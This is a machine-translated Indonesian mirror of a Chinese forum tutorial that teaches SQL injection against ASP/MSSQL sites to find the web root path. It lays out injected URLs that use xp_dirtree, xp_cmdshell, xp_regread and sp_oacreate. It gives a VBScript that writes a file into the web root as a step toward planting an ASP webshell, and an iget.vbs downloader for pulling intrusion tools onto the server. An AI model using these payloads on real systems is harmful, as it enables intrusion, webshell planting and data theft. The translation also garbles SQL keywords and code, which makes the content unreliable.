Artikel ini adalah artikel cermin dari terjemahan mesin, silakan klik di sini untuk melompat ke artikel aslinya.

Melihat: 11906|Jawab: 0

[Tutorial Keselamatan] Injeksi SQL untuk mendapatkan jalur situs web lengkap

[Salin tautan]
Diposting pada 07/02/2015 22.19.16 | | |
Injeksi SQL untuk mendapatkan jalur situs web lengkap

Jika situs web hanya memiliki 80 port, Anda akan menemukan metode berikut lebih berguna
Hampir semua metode yang digunakan di dalamnya bukanlah yang saya temukan, dan artikel tersebut selalu menyertakan beberapa pengalaman dan keterampilan pribadi saat menyuntikkan
Ada 4 metode (sekarang dikenal)

Metode pertama:

Ini adalah metode yang <怪异的SQL注入>diperkenalkan dalam < >
Menggunakan xp_dirtree sqlserver, pertama-tama mari kita bicara tentang metodenya, dan kemudian berbicara tentang kelebihan dan kekurangannya (beberapa penambahan dibuat berdasarkan teks aslinya)

Membuat tabel

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(Paths varchar(1000))--
Kembali: Informasi normal! Artinya, tabel berhasil dibuat! Teruskan!
(Yang dibangun sedikit lebih besar dari aslinya, karena saya telah menemukan file dengan nama panjang, dan menghapus id karena tidak berguna)

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1;insert  Direktur eksekutif master.dbo.xp_dirtree 'C:\' --
Pengembalian: Informasi normal. Artinya, semua direktori yang ditulis ke drive C berhasil! Keren! Langkah selanjutnya adalah mendapatkan meteran! Langgar dan keluar. (Sepertinya hanya ada satu cara untuk melakukan ini)

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih jalur 1 teratas dari dir)-
Mengembalikan: Penyedia Microsoft OLE DB untuk kesalahan SQL Server 80040e07
Kesalahan sintaks terjadi saat mengonversi nilai varchar '@Inetpub' ke kolom dengan tipe data int.

Kemudian nama direktori dalam tabel meledak secara bergantian!

Pernyataan:http:// http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih 1 jalur teratas dari
dirs di mana jalur tidak di( '@Inetpub'))--
Mengembalikan: Penyedia Microsoft OLE DB untuk kesalahan SQL Server 80040e07
Kesalahan sintaks terjadi saat mengonversi nilai varchar 'test' ke kolom dengan tipe data int.

Kemudian nama direktori dalam tabel meledak secara bergantian!
Oke, mari kita lanjutkan

Pernyataan:http:// http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih 1 jalur teratas dari
dirs di mana jalur tidak di( '@Inetpub','test'))--
Mengembalikan: Penyedia Microsoft OLE DB untuk kesalahan SQL Server 80040e07
Kesalahan sintaks terjadi saat mengonversi nilai varchar 'haha' ke kolom dengan tipe data int.

Kemudian nama direktori dalam tabel meledak secara bergantian!

Oke, kamu harus tahu bagaimana melakukannya, haha, tambahkan saja nama tabel yang kamu dapatkan ke tanda kurung itu, taruh sebanyak yang kamu mau,

Sedikit trik:

Terkadang Anda akan menemukan bahwa ketika inputnya serupa

http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih jalur 1 teratas dari dir)-

Alih-alih menampilkan kesalahan, halaman web ditampilkan secara normal
Pusing, jangan gugup
Lihat 0<> (pilih jalur 1 teratas dari dir) untuk menunjukkan bahwa pengembalian adalah angka,
Haha, uji dan lihat berapa harganya

100>(pilih jalur 1 teratas dari DIR)

Kembali normal
Haha, Anda dapat dengan cepat menebak dengan metode ini lebih besar dari atau kurang
Oke, mari kita lanjutkan
Misalnya, saat muncul

59=(pilih 1 jalur teratas dari dir)

Kembali normal,
Oke, namanya 59
Masukkan sebagai berikut

http:// http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih 1 jalur teratas dari
dirs di mana jalur tidak di( '59'))--

Ingatlah untuk memberi tanda kutip
Metode berikut sama dengan aslinya
Ada juga masalah
Terkadang saat memasukkan 59 menggunakan metode di atas, saya menemukan bahwa folder berikutnya masih 59
Apa yang terjadi?
Hehe, saya tidak tahu apakah Anda memperhatikan bahwa 059 dan 59 sama?
Itu sebabnya haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih 1 jalur teratas dari
dirs di mana jalur tidak di( '059'))--

Saya menemukan bahwa nama folder berikutnya ditampilkan, ok

Analisis kelebihan dan kekurangan:

Keuntungannya adalah semua pengguna sqlserver dapat menggunakannya, karena xp_dirtree menerapkan izin PUBLIC,
Kerugiannya adalah menampilkan nama semua folder di direktori, dan pengaturannya tampaknya tidak berurutan, singkatnya, menyakitkan untuk menemukan folder yang Anda inginkan dalam ribuan atau puluhan ribu folder.
Dan Anda tahu bahwa memiliki folder itu tidak dijamin berada di direktori root, yang benar-benar hal yang menyakitkan, sering kali tergantung pada keberuntungan dan daya tahan.
Saya berharap Anda sukses

Metode 2:

Manfaatkan xp_cmdshell

Haha, semua orang pasti akrab dengan ini, izinkan saya mengatakannya secara singkat

Membuat tabel

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(Paths varchar(1000))--
Kembali: Informasi normal! Artinya, tabel berhasil dibuat! Teruskan!
(Yang dibangun sedikit lebih besar dari aslinya, karena saya telah menemukan file dengan nama panjang, dan menghapus id itu karena tidak berguna.)

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1;insertsutradara exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Pengembalian: Informasi normal. Artinya, semua direktori yang ditulis ke drive C berhasil! dir c:\ /B/D digunakan di sini, haha, jika Anda tidak tahu apa yang dilakukan /B/D, coba lihat apa fungsinya

Pernyataan:http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih jalur 1 teratas dari dir)-
Mengembalikan: Penyedia Microsoft OLE DB untuk kesalahan SQL Server 80040e07
Kesalahan sintaks terjadi saat mengonversi nilai varchar '@Inetpub' ke kolom dengan tipe data int.

Kemudian nama direktori dalam tabel meledak secara bergantian!

Pernyataan:http:// http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih 1 jalur teratas dari
dirs di mana jalur tidak di( '@Inetpub'))--
Mengembalikan: Penyedia Microsoft OLE DB untuk kesalahan SQL Server 80040e07
Kesalahan sintaks terjadi saat mengonversi nilai varchar 'test' ke kolom dengan tipe data int.

Kemudian nama direktori dalam tabel meledak secara bergantian!

Metodenya sama seperti di atas, jadi saya tidak akan membicarakannya

Terkadang kita juga dapat melakukan sesuatu dengan dua ekstensi berikut

1) Kita dapat memanfaatkan xp_availablemedia untuk mendapatkan semua drive saat ini dan menyimpannya di tabel dirs:

5 ; masukkan dirs exec master.dbo.xp_availablemedia; --

Kita bisa mendapatkan daftar drive dan informasi terkait dengan menanyakan isi temp

(2) Kita dapat menggunakan xp_subdirs untuk mendapatkan daftar subdirektori dan menyimpannya di tabel dirs:

5 ; masukkan ke dalam dirs exec master.dbo.xp_subdirs 'c:\' ; --

Analisis kelebihan dan kekurangan:

Jelas, ini tidak akan xp_dirtree situasi di mana semua direktori disatukan, hanya direktori tingkat pertama yang akan ditampilkan, yang jauh lebih mudah ditemukan.
Kerugiannya juga jelas, hanya SA yang memiliki izin ini, dan mungkin juga administrator menghapus ekstensi ini (lagipula, itu terlalu kuat).

Metode 3:

Pendekatan ini bagus
Berikut ini adalah teks aslinya
Berpikir untuk menggunakan program adsutil.vbs, yang saya jalankan

a'; master eksekutif .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Bukankah lama? Melalui itu, kita dapat menyiapkan situs web virtual pertama di IIS (termasuk direktori aktual di mana ia berada, tentu saja)
Impor ke a.txt
Default untuk lokasi sebenarnya dari a.txt tentu saja c:\winnt\system32, yang sebenarnya tidak menjadi masalah, tetapi ketika bertemu dengan administrator yang mengatur adsutil.vbs
Hapus atau letakkan di tempat lain
Kami tidak dapat berbuat apa-apa tentang itu (Anda tidak dapat menulisnya dengan perintah gema sendiri)

Langkah 2: Gunakan perintah echo untuk menulis kode berikut ke dalam c:\, yang tidak banyak

..... xp_cmdshell 'kumpulan gema fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------baca.vbs---------------------------------
atur fso1=createobject("scripting.filesystemobject"
Atur WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proses"("windir"
atur fil =fso1.opentextfile(spa & "\system32\aa.txt"
lakukan saat tidak fil.atendofstream
nr = fil.readline
if left(nr,4)="Path" maka
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
keluar do
berakhir jika
lingkaran
atur fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------potong di sini-------------------------------------

Langkah 3: Tentu saja, itu adalah untuk menjalankan read.vbs, sehingga kita dapat membaca konten di aa.txt dan menemukan jalur situs web yang sebenarnya
Kemudian tulis file bernama dd.asp di direktori root situs web, dan Anda akan tahu apakah Anda dapat mencobanya dengan sukses
menjalankanhttp://x.x.x.x/dd.asp
Pengembalian: \xxx
Haha, ini cara yang bagus,
Namun, teks aslinya tampaknya memiliki beberapa masalah
Itu adalah

atur fil =fso1.opentextfile(spa%2B "\system32\aa.txt"
atur fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Kesalahan terjadi ketika dua kalimat dikirimkan
Jadi kami datang dengan tanda plus, yang memiliki fungsi yang sama dengan &
Dan apa yang harus ditulis tentang dd.asp? Tulis ke pa, haha
Haha, saya mengubahnya

-------------------baca.vbs---------------------------------
atur fso1=createobject("scripting.filesystemobject"
Atur WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proses"("windir"
atur fil =fso1.opentextfile(spa "\system32\aa.txt"
lakukan saat tidak fil.atendofstream
nr = fil.readline
if left(nr,4)="Path" maka
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
keluar do
berakhir jika
lingkaran
atur fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------potong di sini--------------------------------------
Karena nomor waktu dikonversi menjadi spasi saat mengirimkan di browser, Anda juga harus mengatur
Itu menjadi %2B, oke, seharusnya baik-baik saja, sebagai berikut
-------------------baca.vbs---------------------------------
atur fso1=createobject("scripting.filesystemobject"
Atur WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proses"("windir"
atur fil =fso1.opentextfile(spa%2B "\system32\aa.txt"
lakukan saat tidak fil.atendofstream
nr = fil.readline
if left(nr,4)="Path" maka
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
keluar do
berakhir jika
lingkaran
atur fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------potong di sini--------------------------------------

Jika kita menemukan bahwa 1 tidak ada, kita bisa menjadi 2, 3, 4...........

a'; master eksekutif .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Tetapi metode ini hanya dapat digunakan di bawah Windows 2000, karena alamat situs web yang baru dibuat di bawah tahun 2003 tidak diatur sesuai dengan 1234, tampaknya dibuat secara acak, dan saya telah membandingkan beberapa di bawah tahun 2003
alamat, tidak ada keteraturan yang ditemukan.

Analisis kelebihan dan kekurangan:

Ditto xp_cmdshell Tidak semua pengguna dapat menggunakannya! Masalah lainnya adalah bahwa file adsutil belum tentu ada, atau belum tentu berada di jalur itu, meskipun Anda dapat menggunakannya jika Anda bermaksud
Echo menulis satu (haha, lama dan tua), dan pertanyaan lainnya adalah, bagaimana jika ada banyak situs di host? Saya telah bertemu dengan tuan rumah dengan sembilan situs, dan hanya yang kedelapan yang berguna
Ya, pingsan, sulit bagi siapa pun untuk memiliki kesabaran untuk bertahan begitu banyak, mungkin sudah runtuh sejak lama. Juga, tidak dapat digunakan pada tahun 2003!
Namun sejujurnya, metode ini memang metode yang baik

Metode 4:

Metode ini adalah membaca jalur dari registri melalui xp_regread dll
Berikut ini direkomendasikan untuk mendapatkan jalur halaman web (baca registri melalui prosedur tersimpan):
Manfaatkan xp_regread prosedur tersimpan bawaan (baca kunci registri, izin publik):

Pernyataan: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarasikan@test
Varchar (20) Eksekutif Master .. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT sisipkan ke dalam jalur
(jalur) nilai(@test)

Jalur default IIS di registri HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Gunakan bidang burst untuk membaca nilai database:

Pernyataan: http://www.xxx.com/list.asp?classid=1 dan 0<>(pilih jalur 1 teratas dari newtable)--return: Penyedia Microsoft OLE DB untuk
Kesalahan Driver ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] mengonversi nilai varchar E:\www,,201 ke tipe data int
kolom.

Ini berarti bahwa direktori halaman web ada di E:\www, dan kemudian Anda juga dapat menggunakan FSO untuk menulis langsung ke Trojan ASP
Bagaimana jika Anda tidak bisa mendapatkan direktori web? Anda harus menebak apakah situs web menggunakan WEB default atau nama domain sebagai WEB.

deklarasi @o int exec sp_oacreate wscript.shell , @o keluar exec sp_oamethod @o, jalankan , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "situs web default" -v "e","e:\"'

Buat direktori virtual E di bawah situs WEB default, menunjuk ke E: di bawah disk.

deklarasi @o int exec sp_oacreate wscript.shell , @o keluar exec sp_oamethod @o, jalankan , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Ada baiknya menambahkan atribut penjelajahan ke direktori virtual e. Buka layanan virtual untuk diri Anda sendiri. Memikirkan jalur direktori halaman web itu, kepala saya hampir hancur. Sekarang saya membuka mata saya. Itulah WEBSHELL yang menggunakan MS
SQL adalah akhir dari pekerjaan kita, dan pekerjaan berikutnya harus menjadi milik Anda.
Haha, caranya bagus, baca melalui formulir pendaftaran, nyaman dan cepat!

Analisis kelebihan dan kekurangan:

Keuntungannya tentu saja nyaman dan cepat. Kelemahannya adalah Anda hanya dapat melihat jalur situs IIS default, dan jika bukan lagi situs default maka tidak ada yang dapat Anda lakukan (saya melacaknya dengan regsnape), jika di bawah tahun 2003
Artinya, bahkan jalur situs default tidak ditampilkan! Kesakitan

Ngomong-ngomong, sebenarnya ada cara lain untuk melanjutkan intrusi selain mencari jalur website, seperti mengunggah Trojan bouncing melalui tftp, atau menulis iget.vbs untuk mengunduh dongdong yang kamu inginkan
Kode iget.vbs adalah sebagai berikut:

---------mulai----------
Atur xPost = createObject("Microsoft.XMLHTTP"
xPost.Buka "GET",LCase(WScript.Arguments(0)),0
xPost.Kirim()
Atur sGet = createObject("ADODB. Aliran"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------akhir-----------

Suplemen artikel ini:

Baru-baru ini, saya menemukan bahwa pemahaman saya tentang instruksi Ketua Mao tidak cukup dalam, dan saya ingin menambahkan di sini
Padahal, metode di atas tidak perlu dibandingkan sama sekali xp_dirtree yang terbaik, asalkan metode yang satu ini cukup
Hanya karena saya terlalu ..............
Hari ini, saya akan menggali rahasia xp_dirtree lagi
Oke, mari kita master eksekutif: xp_dirtree'd:/tes'
Katakanlah kita memiliki dua folder dalam test, test1 dan test2, dan test3 di test1
Hasilnya menunjukkan

kedalaman subdirektori
uji1 1
uji3 2
uji2 1

Haha Saya menemukan bahwa tidak ada kedalaman yang merupakan seri direktori
Oke, tahu apa yang harus dilakukan

http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(Paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Direktur eksekutif master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  dan 0<>(pilih jalur 1 teratas dari dirs di mana id=1)-

Selama id=1 ditambahkan, itu adalah direktori tingkat pertama.





Mantan:Penetrasi Intrusi: Penerapan header HTTP
Depan:Tangkapan layar transfer Alipay dibuat dengan satu klik
Sanggahan:
Semua perangkat lunak, materi pemrograman, atau artikel yang diterbitkan oleh Code Farmer Network hanya untuk tujuan pembelajaran dan penelitian; Konten di atas tidak boleh digunakan untuk tujuan komersial atau ilegal, jika tidak, pengguna akan menanggung semua konsekuensi. Informasi di situs ini berasal dari Internet, dan sengketa hak cipta tidak ada hubungannya dengan situs ini. Anda harus sepenuhnya menghapus konten di atas dari komputer Anda dalam waktu 24 jam setelah pengunduhan. Jika Anda menyukai program ini, harap dukung perangkat lunak asli, pembelian pendaftaran, dan dapatkan layanan asli yang lebih baik. Jika ada pelanggaran, silakan hubungi kami melalui email.

Mail To:help@itsvse.com